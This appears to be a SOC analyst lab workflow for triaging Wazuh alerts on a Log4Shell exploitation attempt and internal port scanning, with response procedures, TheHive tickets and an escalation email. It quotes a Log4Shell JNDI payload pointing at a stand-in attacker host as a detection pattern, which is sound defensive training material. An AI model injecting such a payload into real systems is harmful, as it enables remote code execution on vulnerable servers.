Workflow

1. Objective

To classify, prioritize, document, visualize, and escalate alerts specifically for Log4Shell exploitation attempts and Port Scanning activity.

2. Tools

- Google Sheets – Classification and CVSS scoring
- Wazuh – Alert generation and dashboards
- TheHive – Case creation

3. Workflow Steps

Step 1: Collect Alerts from Wazuh

Identify two alerts from Wazuh :

Critical Alert: Log4Shell Exploit Attempt Detected

- Trigger: CVE-2021-44228
- Pattern: ${jndi:ldap://attacker.com/a} in logs

Low Alert: Port Scanning from 10.0.2.19

- Trigger: Multiple connection attempts across ports
- Rule: Reconnaissance behavior

Step 2: Alert Classification in Google Sheets

Create columns:

- Alert ID
- Type
- Priority
- MITRE Tactic

Add entries for Log4Shell and Port Scan

Then add CVSS

- CVSS Score

- Description

Step 4: Wazuh Dashboard for Log4Shell & Port Scanning

Create visualizations:

Pie Chart: Alerts by Severity

- Critical (Log4Shell)
- Low (Port Scan)

Step 5: Response Procedure

A. Log4Shell Exploit Attempt

Procedure:

- Validate detected payload ${jndi:ldap://...} in logs.
- Check server version for Log4j vulnerability (2.0–2.14.1).
- Isolate server from network if exploit attempt succeeded.
- Block attacking IP on firewall.
- Search for:
    - Suspicious outbound LDAP traffic
    - Downloaded payload files
    - Reverse shells
- Patch Log4j to 2.17+.
- Review Wazuh logs for repeated attempts.
- Create an incident in TheHive.
- Document every action.

B. Port Scanning Activity

Procedure:

- Identify scanning source IP: 10.0.2.19.
- Check number of ports scanned& frequency .
- Correlate with firewall logs or Nmap-like patterns.
- Validate whether source IP is internal or external.
- If repeated scans, escalate to Medium severity.
- Recommend IDS block after repeated attempts.
- Document activity in daily SOC logs.

Step 6: Incident Tickets in TheHive

A. Log4Shell Ticket (Critical)

Title: [Critical] Log4Shell Exploit Attempt Detected on WebServer-1

Description:

Wazuh detected a Log4Shell exploit

Host: WebServer-1

Attack IP: 10.0.2.19

CVE: CVE-2021-44228

MITRE Technique: T1190

Immediate review required to check for RCE or malicious payload deployment.

Priority: Critical

Assignee: SOC Analyst

B. Port Scan Ticket (Low)

Title: [Low] Port Scanning Detected from 10.0.2.19

Description:

Multiple sequential port probes detected from IP 10.0.2.19.

Activity matches MITRE T1046 (Network Service Scanning).

No successful access attempts.

Monitoring recommended.

Priority: Low

Assignee: SOC Analyst

4. Escalation Email

Subject: Urgent Escalation – Log4Shell Exploit Attempt on WebServer-1

Hi SOC L2,
Wazuh has detected a **Log4Shell** (CVE-2021-44228) exploit attempt targeting WebServer-1. The attack originated from IP **10.0.2.19**. Initial triage indicates possible remote code execution behavior. The server is under observation, and firewall blocks are in place. Full logs and IOCs have been uploaded to TheHive case. Requesting Tier-2 support for deeper analysis, system integrity checks, and forensic validation.

Regards,
SOC L1 Analyst